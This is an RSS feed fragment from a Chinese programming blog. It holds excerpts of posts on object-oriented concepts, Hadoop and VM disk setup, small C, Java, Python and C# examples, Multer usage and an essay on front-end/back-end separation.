      <description>1、什么是类？&#xA;（1）类是一种抽象的概念。&#xA;（2）类：具有相同特性（数据元素）和行为（功能）的对象的抽象就是类。因此，对象的抽象是类，类的具体化就是对象，也可以说类的实例是对象，类实际上就是一种数据类型。类具有属性，它是对象的状态的抽象，用数据结构来描述类的属性。类具有操作，它是对象的行为的抽象，用操作名和实现该操作的方法来描述。&#xA;2、什么是对象？&#xA;（1）对象是一种具体的概念。&#xA;（2）对象：对象是人们要进行研究的任何事物，它不仅能表示具体的事物，还能表示抽象的规则、计划或事件。对象具有状态，一个对象用数据值来描述它的状态。对象还有操作，用于改变对象的状态，对象及其操作就是对象的行为。对象实现了数据和操作的结合，使数据和操作封装于对象的统一体中。&#xA;3、类与对象之间的关系？&#xA;类与对象的关系就如模具和铸件的关系，类的实例化的结果就是对象，而对象的抽象就是类，类描述了一组有相同特性（属性）和相同行为的对象。解释的通俗一点就是，人是一种类，而具体的某一个人就是一个对象，每一个对象都符合这个类型的标准。一个类的所有对象都有相同的属性（都是人类），但有不同的属性值（名字、身高不一样等），不同的类的属性不完全相同。&#xA;4、什么是封装？封装的作用？&#xA;（1）封装（Encapsulation）是面向对象方法的重要原则，就是把对象的属性和操作（或服务）结合为一个独立的整体，并尽可能隐藏对象的内部实现细节。封装是把过程和数据包围起来，对数据的访问只能通过已定义的接口。面向对象计算始于这个基本概念，即现实世界可以被描绘成一系列完全自治、封装的对象，这些对象通过一个受保护的接口访问其他对象。封装是一种信息隐藏技术，在java中通过关键字private，protected和public实现封装。什么是封装？封装把对象的所有组成部分组合在一起，封装定义程序如何引用对象的数据，封装实际上使用方法将类的数据隐藏起来，控制用户对类的修改和访问数据的程度。 适当的封装可以让程式码更容易理解和维护，也加强了程式码的安全性。&#xA;（2）简单的理解就是：封装就是将一些复杂的或是不想让你看到的事物包装起来，叫做封装。从程序的角度来说就是，把一些内部复杂的逻辑或是不想让其他人员修改程序内部进而把部分程序包装起来，叫做封装。举一个 遥控器的例子，无论是电动玩具赛车遥控器还是电视遥控器，其内部都是复杂的电路板，由于技术人员出于对电路板的保护的角度来说或是不想其他人员看到内部丑陋的电路板的角度来说，通过手柄来包装都能达到这俩种效果。&#xA;（3）封装的作用：&#xA;① 对象的数据封装特性彻底消除了传统结构方法中数据与操作分离所带来的种种问题，提高了程序的可复用性和可维护性，降低了程序员保持数据与操作内容的负担。&#xA;②对象的数据封装特性还可以把对象的私有数据和公共数据分离开，保护了私有数据，减少了可能的模块间干扰，达到降低程序复杂性、提高可控性的目的。&#xA;5、什么是继承？继承的说明？&#xA;（2）继承的重要说明：&#xA;1&amp;gt;、子类拥有父类的所有成员变量和成员函数&#xA;2&amp;gt;、子类可以拥有父类没有的方法和属性&#xA;3&amp;gt;、子类就是一种特殊的父类&#xA;4&amp;gt;、子类对象可以当作父类对象使用&#xA;上述是对基本概念的理解和汇总，如有不恰当之处，请联系本人及时删除，谢谢！</description>
    </item>
    <item>
      <title>Hadoop集群搭建【web端不显示从节点问题】</title>
      <link>https://bchobby.github.io/posts/044a2b24283b08f38d1dcb91d18e680f/</link>
      <pubDate>Sun, 22 Mar 2020 23:01:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/044a2b24283b08f38d1dcb91d18e680f/</guid>
      <description>系统：CentOS7&#xA;环境：jdk8&#xA;版本：hadoop-2.7.7&#xA;结构&#xA;hadoop01namedata、nodedatahadoop02nodedatahadoop03nodedata 配置 hadoop-2.7.7/etc/hadoop/hadoop-env.sh&#xA;export JAVA_HOME=/opt/app/jdk1.8.0_221 //这里是我的jdk安装目录 配置 hadoop-2.7.7/etc/hadoop/core-site.xml&#xA;&amp;lt;configuration&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.defaultFS&amp;lt;/name&amp;gt;&#x9;&amp;lt;value&amp;gt;hdfs://hadoop01:9000&amp;lt;/value&amp;gt; &amp;lt;final&amp;gt;true&amp;lt;/final&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hadoop.tmp.dir&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/home/kjctar/tmp&amp;lt;/value&amp;gt; &amp;lt;!-- 临时目录 --&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- i/o properties --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;io.file.buffer.size&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;4096&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/configuration&amp;gt; 配置hadoop-2.7.7/etc/hadoop/hdfs-site.xml&#xA;&amp;lt;!-- /home/hadoopdata/ 是我定义的元数据目录 --&amp;gt; &amp;lt;configuration&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.namenode.name.dir&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/home/hadoopdata/dfs/name&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.datanode.data.dir&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/home/hadoopdata/dfs/data&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.replication&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;3&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.blocksize&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;134217728&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.checkpoint.dir&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;/home/hadoopdata/checkpoint/dfs/cname&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.http.address&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hadoop01:50070&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.secondary.http.address&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hadoop01:50090&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.</description>
    </item>
    <item>
      <title>安装Ubuntu14.04win10双系统</title>
      <link>https://bchobby.github.io/posts/69602a256d8ebf3342cdc0bc85234382/</link>
      <pubDate>Sat, 21 Mar 2020 21:34:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69602a256d8ebf3342cdc0bc85234382/</guid>
      <description>1.去掉uboot的安全启动&#xA;2.使用U盘及Ultroliso做安装盘&#xA;3.机械盘中留出一部分作为安装盘300G&#xA;4.Ubuntu分区情况：&#xA;挂载点 / 主分区 30G EXT4&#xA;挂载点 / home 逻辑分区 剩余EXT4&#xA;挂载点 / boot 逻辑分区200M(500M 主分区) EXT4&#xA;挂载点 swap 逻辑分区 = 内存大小 8196 M&#xA;5 系统安装在机械盘&#xA;如果安装了win10+ubuntu双系统后 需要重新安装ubuntu系统 安装步骤如下&#xA;1.删除ubuntu所在的磁盘卷&#xA;2.使用EasyUEFI 删除启动项（如果试用期过，使用破解版，必须要删除）&#xA;3.到步骤2&#xA;ubuntu16.04&#xA;1. apt-get install wine&#xA;2.新建工程&#xA;3.解压包，替换source，wrap and rebuild 两个包&#xA;4 .build整个工程，apt-get install autoconf&#xA;aclocal-1.14: command not found https://jingyan.baidu.com/article/ab0b563072e697c15afa7d98.html&#xA;因为16.04默认安装php7.0环境，但是php7目前兼容性并不是很好，如果自行安装php5需要清除php7的已安装包，否则会报错。不过呢，php7性能比php5快好多。下面我们说php5的安装&#xA;https://jingyan.baidu.com/article/fdffd1f8980188f3e98ca103.html&#xA;autoreconf: 未找到命令 yum -y install install autoconf automake libtool&#xA;apt-get install autoconf</description>
    </item>
    <item>
      <title>使用C语言输出菱形详解</title>
      <link>https://bchobby.github.io/posts/d428cab6c1c7d7f8bba1016e5ec1e4a7/</link>
      <pubDate>Sat, 21 Mar 2020 13:48:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d428cab6c1c7d7f8bba1016e5ec1e4a7/</guid>
      <description>// Written by Harry 一、思维过程&#xA;观察要输出的形状 --- 确定大体思路 --- 转化为数学模型 --- 将问题逐个击破 二、完整代码（以7*7菱形为例）&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { int i,j,k; //定义菱形行数i、每行输出次数j、每行中输出空格计数器k for(i=1;i&amp;lt;=4;i++) //上半部分有四行 { k = 1; //空格计数器 for(j=1;j&amp;lt;=i+3;j++) //每行输出4~7次 { if(k&amp;lt;=4-i) { printf(&#34; &#34;); k++; } else printf(&#34;*&#34;); } printf(&#34;\n&#34;); } for(i=1;i&amp;lt;=3;i++) //下半部分有三行 { k = 1; //计数器 for(j=1;j&amp;lt;=7-i;j++) { if(k&amp;lt;=i) { printf(&#34; &#34;); k++; } else printf(&#34;*&#34;); } printf(&#34;\n&#34;); } system(&#34;pause&#34;); return 0; } 输出结果：&#xA;三、分步说明&#xA;1.观察要输出的形状</description>
    </item>
    <item>
      <title>Multer中文文档</title>
      <link>https://bchobby.github.io/posts/62c1007a9322a61bbb6078baf7ecd796/</link>
      <pubDate>Sat, 21 Mar 2020 13:06:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62c1007a9322a61bbb6078baf7ecd796/</guid>
      <description>此文档于2016年10月3日翻译时multer的版本是1.2.0，它可能不是最新的！ 甚至可能存在翻译错误！你可能需要阅读原版英语README 此文档仅供参考！&#xA;Multer Multer 是一个 node.js 中间件，用于处理 multipart/form-data 类型的表单数据，它主要用于上传文件。它是写在 busboy 之上非常高效。&#xA;注意: Multer 不会处理任何非 multipart/form-data 类型的表单数据。&#xA;其它语言 English (英语)한국어 (朝鲜语)Русский язык (俄語) 安装 $ npm install --save multer 使用 Multer 会添加一个 body 对象 以及 file 或 files 对象 到 express 的 request 对象中。 body 对象包含表单的文本域信息，file 或 files 对象包含对象表单上传的文件信息。&#xA;基本使用方法:&#xA;var express = require(&#39;express&#39;) var multer = require(&#39;multer&#39;) var upload = multer({ dest: &#39;uploads/&#39; }) var app = express() app.</description>
    </item>
    <item>
      <title>10大排序算法——01冒泡排序（Java实现）</title>
      <link>https://bchobby.github.io/posts/277828f3cd2d3c5e334c87fe270b3fa9/</link>
      <pubDate>Sat, 21 Mar 2020 12:16:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/277828f3cd2d3c5e334c87fe270b3fa9/</guid>
      <description>冒泡排序（Bubble Sort） 冒泡排序也叫起泡排序&#xA;冒泡排序的执行流程 1.从头开始比较每一对相邻元素，如果第一个比第二个大，就交换他们的位置。（执行完第一轮，最后的那个元素就是最大的元素）&#xA;2.忽略从步骤1中找到的那个最大元素，然后重复执行步骤1，直到元素有序&#xA;来看代码： public int[] bubbleSort(int[] array ){ for (int end = array.length; end &amp;gt; 0; end--) { for (int begin = 1 ; begin&amp;lt;end ; begin++) { if(array[begin]&amp;lt;array[begin-1]) { int index = array[begin]; array[begin]=array[begin-1]; array[begin-1] = index; } } } return array; } 调用一下试试&#xA;public static void main(String[] args) { BubbleSort b = new BubbleSort(); int[] array = {9,8,7,4,5,6,1,2,3}; System.out.println(&#34;排序前&#34;); for (int i = 0; i &amp;lt; array.</description>
    </item>
    <item>
      <title>Vmware，Virtual Box虚拟机安装IMG系统镜像（img系统镜像安装syncloud云盘）</title>
      <link>https://bchobby.github.io/posts/df7946c7ee423da11be02c4b544e19d5/</link>
      <pubDate>Sat, 21 Mar 2020 00:48:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df7946c7ee423da11be02c4b544e19d5/</guid>
      <description> IMG是一种镜像文件，不同于ISO系统镜像，IMG是不带引导的系统镜像，也就是说在为虚拟机安装镜像的时候，不能像ISO文件那样方便安装，直接从Iso文件引导安装系统，IMG是一种硬盘分区的镜像文件，要先把IMG镜像文件刻录到硬盘或者是U盘，系统从硬盘和U盘进行系统引导，树莓派这类开发板的系统大多都是这类的系统镜像，系统镜像烧录到sd卡，就可以直接在sd卡启动系统，非常方便，在虚拟机上安装这类系统镜像有两个方法。&#xA;1.把img系统镜像转为VDI或VMDK格式文件 img系统镜像转为VDI或VMDK这类的虚拟机使用的虚拟硬盘文件就可以让虚拟机从硬盘启动系统，就和树莓派一样了。&#xA;1.把img镜像转换为VDI或VMDK软件可以用自带的命令行实现，也可以用软件实现。&#xA;打开windows带的命令行，进入virtual box的安装目录，里面有一个VBoxManage.exe文件，然后输入&#xA;VBoxManage.exe convertdd *.img *.vdi 用virtual box自带的命令行文件，把img镜像文件转换为VDI文件,这样就可以在virtual box新建虚拟机时指定vdi硬盘文件，就可以安装系统了，如果想要在VMware上使用vdi文件，则还要vdi文件转为vmdk文件，用下面的命令实现。&#xA;VBoxmManage clonehd *.vmdk *.vdi --format vdi 2.使用软件自动完成vmdk，img，vhd之间的文件转换，软件名字是starwind software Image converter ,软件的官网是&#xA;https://www.starwindsoftware.com/starwind-v2v-converter&#xA;主要支持的vmdk,vhd,img文件之间的互相转换，vmdk是vmware的虚拟文件系统，virtual box可以用vhd文件系统,vhd是微软虚拟磁盘文件，virtual box可以用这个虚拟磁盘，virtual box支持的虚拟磁盘文件格式很多，vhd文件也可以用于微软自家的Hyper-V虚拟机，另外windows系统也可以从vhd文件中启动。&#xA;选择要转换的虚拟磁盘文件，我这里的是syncloud的amd64的img系统镜像转换为vmdk,virtual box最近的网络设置有些问题，就只好用vmware了。img镜像已经被识别出来了，大小是3.47GB。选择好文件之后，点击next&#xA;选择要转换的文件类型，支持的文件有6种，其实是3种，vhd和vmdk和img文件，vmdk和vhd文件都各有两种类型，growable imgae类型是指，系统镜像不是固定的大小，但是会随着添加数据而增大，而pre-allocated image文件类型则是固定大小的，不会增大文件大小，这就和vmware创建虚拟机时所选的是否立即分配所有所有磁盘空间是一样的意思。另外如果是vmware esx服务器的虚拟磁盘，则要选择vmware esx server image选项，这个我没试过。&#xA;选择虚拟磁盘的类型，选择scsi就好，scsi的读写速的快，ide的格式有点过时了。选好后点击next。&#xA;选择转换后的目标虚拟磁盘文件的位置，点击next&#xA;等待转换完成，点击finish。&#xA;2.创建syncloud虚拟机之后删除创建的磁盘，先不要开机，在硬件选项中新建硬盘，选择创建好的虚拟机镜像文件。&#xA;网络模式选好桥接模式，然后点击添加。&#xA;选择转换后的虚拟磁盘文件，vmware只支持vmdk文件，独立模式选不选随便，全凭自己选择。&#xA;这里选择保持现有格式来选择最大兼容性。&#xA;虚拟磁盘大小选择默认就好，就如它所说就算是扩容也不能扩大分区和文件系统的大小。&#xA;已经添加好了，接下来就可以启动虚拟机了。&#xA;可以看出系统是debin系统，启动选择第一项，如果虚拟机没有从硬盘启动就在虚拟机启动时，按f2键进入bios界面设置从硬盘启动。&#xA;默认用户名是root,密码是syncloud，在网页端激活设备之后，密码就会改为设置的密码。&#xA;安装过程这里就略过了，详细过程可以看我的另一篇博客，有详细的安装过程。&#xA;https://blog.csdn.net/lionwerson/article/details/104906046&#xA;2.img文件通过Win32DiskImager，balenaEtcher之类的刻盘软件，写入到U盘或硬盘。 这种方式主要是用来把synlcoud系统安装在树莓派上或者是x86之类的pc上的方式。这类嵌入式的系统大都是这样的安装方式。&#xA;etcher软件需要在设置中开启unsafe mode模式之后就可以在U盘之外的驱动器刻录镜像，可以用于老旧的x86 pc插入硬盘当做nas设备。而Win32DiskImager只支持u盘之类的外设驱动器刻录系统。&#xA;3.后记 syncloud虽然好用，但是如果要是在自己的局域网中搭建的话，还不如直接搭建nextcloud之类的网盘软件，从分配的域名访问自己的设备速度肯定不如局域网快，我想着这也就是它实在是太小众的原因，折腾到现在总算是弄完了，但是还有一些问题没有解决，比如官方的img镜像就算转换为vmdk文件也就只有3g的系统空间，官方也有一个解决办法，不过是用于提供的virtual box的虚拟机镜像的，解压之后用下面的命令就可以让磁盘空间变为50g，但是我想应该也可以把转换后的vdi虚拟磁盘文件再转换为vmdk文件，vmdk扩容也都是通过转换为vdi文件然后再转为vmdk文件实现磁盘文件系统和分区扩容的。另外也可以通过gparted-live的系统镜像（相当于windows pe系统）实现扩容。另外在系统激活的页面如果没有设备名字是因为主机名没有设置，设置之后就可以获取到设备的名字了。&#xA;VBoxManage modifymedium disk syncloud-vbox-[version].vdi --resize 50000 #resize指的是重新分配磁盘空间为50g，syncloud是解压之后的vdi虚拟磁盘文件，要注意文件位置 </description>
    </item>
    <item>
      <title>用大白话讲清 -&gt; 能让青铜秒变钻石的Pycharm无敌快捷键——CTRL&#43;Q（快查文档）</title>
      <link>https://bchobby.github.io/posts/6f0e516091598f2b528e60afd48e4bb4/</link>
      <pubDate>Fri, 20 Mar 2020 20:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f0e516091598f2b528e60afd48e4bb4/</guid>
      <description>一、概念 这是一个快速查看类/函数/方法等详细信息的快捷键，新手使用该快捷键可以非常快速的入门python。&#xA;二、遇到生疏的方法的解决方案 新手在学习中，经常会记不住如何调用方法，该传什么，返回又是什么的时候，基本有三种解决方法。 1、按住CTRL并点击方法名，跳转至相应的代码页面，直接阅读源码&#xA;优点：直观&#xA;缺点：要有一定的代码功底，比较费时和繁琐&#xA;2、改变编程思维，从面向对象改成面向百度，直接搜&#xA;优点：易理解&#xA;缺点：繁琐和费事就不提了，最恶心的是碰到复制黏贴型的答案，很有可能把人带偏&#xA;3、直接CTRL+Q，pycharm会自动展开文档详细信息&#xA;优点：快速、直观、简单明了&#xA;缺点：没有缺点&#xA;三、使用方法 把鼠标放在方法名上按CTRL+Q（第一种文档） 1、传参：在1区域中展示的是需要传递的参数。&#xA;以randint为例，这里有三个参数。&#xA;第一个self是特殊的参数，可以不用管，是实例的指代，类似于JAVA的this。&#xA;第二和第三的a和b都是形参名，类型并没有办法得知。这里的any并不是表示可以传递任意类型的参数。&#xA;2、返回值：这里展示的就是返回值的类型。如果无返回，展示的是None&#xA;3、文档注释：英文好的同学可以直接看懂这个，不过就算英文不好。这里面写的大多数都是关键字，猜也能猜个大概。&#xA;把鼠标放在方法名上按CTRL+Q（第二种文档） 再次按下CTRL+Q后，会切换另一种文档形式。这里就非常详细的说明了randint会返回一个integer类型的数字N，范围是a &amp;lt;= N &amp;lt;=b。也就是说范围包括传递的参数本身，一目了然。&#xA;通过这个快捷键，新手在面对无数多的方法而迷茫的时候。一个CTRL+Q就可以快速的让你知道你想明白一切 &amp;gt;_&amp;lt;</description>
    </item>
    <item>
      <title>Java小程序 数值取基数</title>
      <link>https://bchobby.github.io/posts/9ac4d4ca95689fb27bf763a062e4acd6/</link>
      <pubDate>Fri, 20 Mar 2020 19:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ac4d4ca95689fb27bf763a062e4acd6/</guid>
      <description>Java 整数类型取基数 对于数值的基数读取，博主这里有两个方案，如果有其他读取方案，可以写在评论 首先是第一种方案 public class Base1 { public int[] base(int index) { String str = index+&#34;&#34;; //将数值转换为字符串类型 char[] c = str.toCharArray(); int[] arrayInt = new int[c.length]; for (int i = 0; i &amp;lt; c.length; i++) { String s = c[i]+&#34;&#34;; arrayInt[i]= Integer.parseInt(s); } return arrayInt; } public static void main(String[] args) { int[] array= new Base().base(157896); for (int i = 0; i &amp;lt; array.length; i++) { if(i!=0) System.out.print(&#34; &#34;</description>
    </item>
    <item>
      <title>解决OverflowError: mktime argument out of range</title>
      <link>https://bchobby.github.io/posts/90789ed29c57a546a22c3959ca1a33ff/</link>
      <pubDate>Fri, 20 Mar 2020 18:11:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90789ed29c57a546a22c3959ca1a33ff/</guid>
      <description>问题出现 begin = time.mktime(time.strptime(&#39;1970-01-01 00:00:00&#39;, &#39;%Y-%m-%d %H:%M:%S&#39;)) 系统提示：&#xA;Traceback (most recent call last): File &#34;&amp;lt;stdin&amp;gt;&#34;, line 1, in &amp;lt;module&amp;gt; OverflowError: mktime argument out of range 问题分析 mktime()是localtime()的反函数，localtime根据秒数返回时间戳它的参数是struct_time或完整的9个元组，它返回一个浮点数，可以视为从最早时间戳开始的描述。Windows中时间戳是有范围的，参考官方文档，只要不在这个范围内，使用时就会报错文档中提到不能早于midnight, January 1, 1970，不能晚于23:59:59 January 18, 2038 问题解决 使用以下命令找到windows中最早的时间戳&#xA;&amp;gt;&amp;gt;&amp;gt; time.localtime(0) time.struct_time(tm_year=1970, tm_mon=1, tm_mday=1, tm_hour=8, tm_min=0, tm_sec=0, tm_wday=3, tm_yday=1, tm_isdst=0) 可以发现，时间戳是从1970年1月1日早上8点开始的，于是将开始时的代码修改如下即可正常运行&#xA;begin = time.mktime(time.strptime(&#39;1970-01-01 08:00:00&#39;, &#39;%Y-%m-%d %H:%M:%S&#39;)) 另外，在查询时发现，该问题在windows系统中会出现，而在Linux系统中则不会出现。</description>
    </item>
    <item>
      <title>httpcliet发送xml报文，接受xml报文</title>
      <link>https://bchobby.github.io/posts/7554bf979b6aea00e5b93f1f4bb020c8/</link>
      <pubDate>Fri, 20 Mar 2020 17:50:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7554bf979b6aea00e5b93f1f4bb020c8/</guid>
      <description>发送：使用httpclient&#xA;public static String postXML(String url,String xmlFileName){ CloseableHttpClient client = null; CloseableHttpResponse resp = null; log.info(xmlFileName); try{ HttpPost httpPost = new HttpPost(url); httpPost.setHeader(&#34;Content-Type&#34;, &#34;text/xml; charset=UTF-8&#34;); client = HttpClients.createDefault(); StringEntity entityParams = new StringEntity(xmlFileName,&#34;utf-8&#34;); httpPost.setEntity(entityParams); client = HttpClients.createDefault(); resp = client.execute(httpPost); String resultMsg = EntityUtils.toString(resp.getEntity(),&#34;utf-8&#34;); return resultMsg; }catch (Exception e){ log.info(e.getMessage()); }finally { try { if(client!=null){ client.close(); } if(resp != null){ resp.close(); } } catch (IOException e) { e.printStackTrace(); } } return null; } 使用request接收xml报文：</description>
    </item>
    <item>
      <title>.Net Core3.1 配置Pomelo.EntityFrameworkCore.MySql数据操作(2)</title>
      <link>https://bchobby.github.io/posts/d654e3bf73bb5a2be681e82020be08bb/</link>
      <pubDate>Fri, 20 Mar 2020 15:29:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d654e3bf73bb5a2be681e82020be08bb/</guid>
      <description>引入Pomelo.EntityFrameworkCore.MySql程序包 ConfigureServices // other service configurations go here // replace &#34;YourDbContext&#34; with the class name of your DbContext services.AddDbContextPool&amp;lt;DbModel&amp;gt;(options =&amp;gt; options // replace with your connection string .UseMySql(&#34;Server=localhost;Database=test;User=root;Password=woshishui;&#34;, mySqlOptions =&amp;gt; mySqlOptions // replace with your Server Version and Type .ServerVersion(new ServerVersion(new Version(8, 0, 19), ServerType.MySql)) )); appsettings.json { &#34;ConnectionStrings&#34;: { &#34;DefaultConnection&#34;: &#34;Server=localhost;database=test;uid=root;pwd=woshishui;&#34; }, &#34;Logging&#34;: { &#34;LogLevel&#34;: { &#34;Default&#34;: &#34;Information&#34;, &#34;Microsoft&#34;: &#34;Warning&#34;, &#34;Microsoft.Hosting.Lifetime&#34;: &#34;Information&#34; } }, &#34;AllowedHosts&#34;: &#34;*&#34; } 创建Models实体类 alltestitem</description>
    </item>
    <item>
      <title>C# 获取字符串字节长度</title>
      <link>https://bchobby.github.io/posts/2e98be0f71cffad9132e8d42d14f9666/</link>
      <pubDate>Fri, 20 Mar 2020 13:42:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2e98be0f71cffad9132e8d42d14f9666/</guid>
      <description>C# 获取字符串字节长度 一、C# 获取字符串字节长度&#xA;1.在C# 语言中使用string 字符串Unicode 编码&#xA;2.在C#语言中常用汉字 占 3个字节&#xA;方式1：使用默认编码类获取字节长度&#xA;Console.WriteLine(Encoding.Default.GetByteCount(&#34;张三&#34;));//输出：6 //常用 一个字母，数字 一个字节 Console.WriteLine(Encoding.Default.GetByteCount(&#34;ab&#34;)); //输出：2 方式2：&#xA;//常用汉字 ，一个汉字 3个字节 Console.WriteLine(ASCIIEncoding.Default.GetBytes(&#34;张网&#34;).Length); //输出：6 Console.WriteLine(UnicodeEncoding.Default.GetBytes(&#34;张网&#34;).Length); //输出：6 二、在字符串判断中，由于中文和英文 占据宽度不同，有时需要根据字节长度控制字符串数量&#xA;会用到字节长度判断。&#xA;更多：&#xA;.net里Release的pdb文件有什么用 是否可以删除&#xA;.Net AppDomain详解（二）&#xA;C#如何测试代码运行时间</description>
    </item>
    <item>
      <title>一个后端程序员如何被公司逼的开始写前端代码！奉劝各位最好选择前后端分离的公司...</title>
      <link>https://bchobby.github.io/posts/374b55e1dac393c18c723a62e1cf6f92/</link>
      <pubDate>Fri, 20 Mar 2020 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/374b55e1dac393c18c723a62e1cf6f92/</guid>
      <description>hello~各位读者好，我是鸭血粉丝（大家可以称呼我为「阿粉」），在特殊的日子里,大家要注意安全，尽量不要出门，无聊的话，就像阿粉一样，把时间愉快的花在学习上吧。&#xA;事情起因 阿粉自从学会Java以来，一直都是在从事关于Java的开发，不论是换了几家公司，阿粉一直都是负责的关于后台的业务，很多都是前后端分离的，前端是写前端的代码，后端只负责逻辑实现和返回所需要的值，但是让人没想到的事发生了，公司前端临时被其他项目组调走，领导要求项目还要上线，阿粉不得不再次扮演全职员工上线。&#xA;每天最多的时间就是看前端小姐姐写的代码，另外的一件事就是和前端小姐姐沟通怎么去写前端代码，为此阿粉还付出了两顿饭的代价！&#xA;为什么要前后端分离 之前在看一个哥们的博客的时候，觉得这个哥们说的特别的好，为什么前后端分离，因为前后端分离已成为互联网项目开发的业界标准使用方式，通过 Nginx + Tomcat的方式（也可以中间加一个nodejs）有效的进行解耦，并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务（多种客户端，例如：浏览器，车载终端，安卓，IOS等等）打下坚实的基础。这个步骤是系统架构从猿进化成人的必经之路。&#xA;说白了，前端和后端的区别在哪？&#xA;前端&#xA;通过 UI 给出的图，做出相应的格式的网站，把精力放在html5，css3，jquery，angularjs，bootstrap，reactjs，vuejs，这些前端内容模块上。&#xA;后端&#xA;把数据库中的数据，用 json 或者其他的格式，还给页面，实现动态展示的功能，把精力放在java基础，设计模式，jvm原理，还有对性能的优化上。&#xA;二者也是有本质区别的，后端注重的是并发，优化，安全等，而前端注重的是浏览器兼容性，页面是不是好看等。&#xA;阿粉现在的公司，还处于最原始的时期，那是个什么样子的呢？&#xA;这种开发模式其实很多小公司还是使用这种开发模式，这种模式有很大的弊端存在，大家一定都知道，开发效率及其低下，很多时候，要先有图，然后再 HTML 页面，然后再是我们后端来补充数据，这种方式之后出现问题我给大家来展示一下。&#xA;在这里，也是最容易出现问题的，如果线上出了问题，就出现了相互甩锅的情况了；&#xA;前端会后端说：你那里有问题么？我这里的前端代码没啥问题呀！&#xA;后端对前端说：有点小小的问题，你看，这个样式填充上去的时候，格式乱了，而且.....&#xA;接下来的事情很常见，前端坐到后端的位置上，开始调试代码，这是不是很尴尬，一次两次没问题，但是次数多了，这个锅到底该谁来背！肯定是后端，你看你连个前端代码都不会改，心底里会给你个深深的鄙视！为了不让领导对你鄙视，接下来你就出现了：&#xA;加班就变成了习以为常的事情了，这就是前后端不分离的弊端，现在很多小型企业都还是这种开发模式，和阿粉的小型公司一样。前后端没有分离的整体图解如下：&#xA;既然前后端不分离的既然这么多，那么前后端分离肯定没有这么多麻烦吧，是的，没错，前后端分离，写代码的速度明显变快，而且要求也比较高，大家可以看图：&#xA;从图中看出来了一个问题，前端后端同时可以干活，光从这个上面来说，开发效率那是杠杠的呀，要是按照前后端不分离的时候，那时间周期可能节省一半左右的时间，虽然大部分的时间可能花在了讨论接口的上面，但是实际开发起来，那速度可是飞快。&#xA;那么既然前后端不分离会出现问题，那么前后端分离会出现问题么？答案一样是肯定的，也是会出现同样的问题的，如果说客户的“不合理需求”变了，只要说当时商量的接口和接口形式不变，那么很简单，个人改个人的，不用想，开发效率依旧很快！&#xA;既然前后端分离了，那么后端还要会前端么？ 之前星球的刚刚入职的小伙子曾经问过我一个问题，我刚刚入职。老大给我的活又是后端又是前端的，你说这个工作我到底是做还是不做，在这里阿粉想要给大家传递一些观念！&#xA;刚入职场的新人 因为现在好多的人都是培训出来的，而培训出来的人百分之90的人是只会写后端的代码，但是对于JS，和HTML那是一点都不会，因为在培训班的时候可能那些老师会对你说，没事这东西是前端写，不用你们来弄，实际上错了。&#xA;公司很多时候，需要你去完成JS部分和简单的修改HTML部分，但是相对而言，你如果说不会写CSS的话，那么老大可能会原谅你，但是如果你说你不会JS，不好意思，老大可能在心里已经有了辞你的念头了，这都啥时候了，你竟然连JS都不会写，对于新人而言，刚入职场，需要你学的东西有很多，这只是其中的一部分，不可能说那么多人都去写前端代码，毕竟没有那么多的“全栈”。&#xA;阿粉就是当初在公司，每天也是恶补前端，现在只能说JS没有任何问题，比如说现在最火的Vue.js,还有之前比较火的Angular，而且会一些简单的HTML，但是对于CSS，阿粉表示，真的不会。&#xA;这也是阿粉为什么会给起了这么一个标题，尽量的选择前后端分离的公司，不然你一定会去写前端的一部分代码，毕竟小公司出了问题，一定是会找你的。&#xA;你公司需要你写前端么？欢迎大家留言，小编非常乐意和大家交流心得。&#xA;精彩回顾&#xA;为什么Mysql的常用引擎都默认使用B+树作为索引？&#xA;从页面输入网址，回车到显示内容，这中间到底经历了什么？&#xA;Tomcat出现漏洞了，阿粉问你，线上版本更换了么？&#xA;你知道 DNS，那我猜你一定不知道 HTTPDNS&#xA;&amp;lt; END 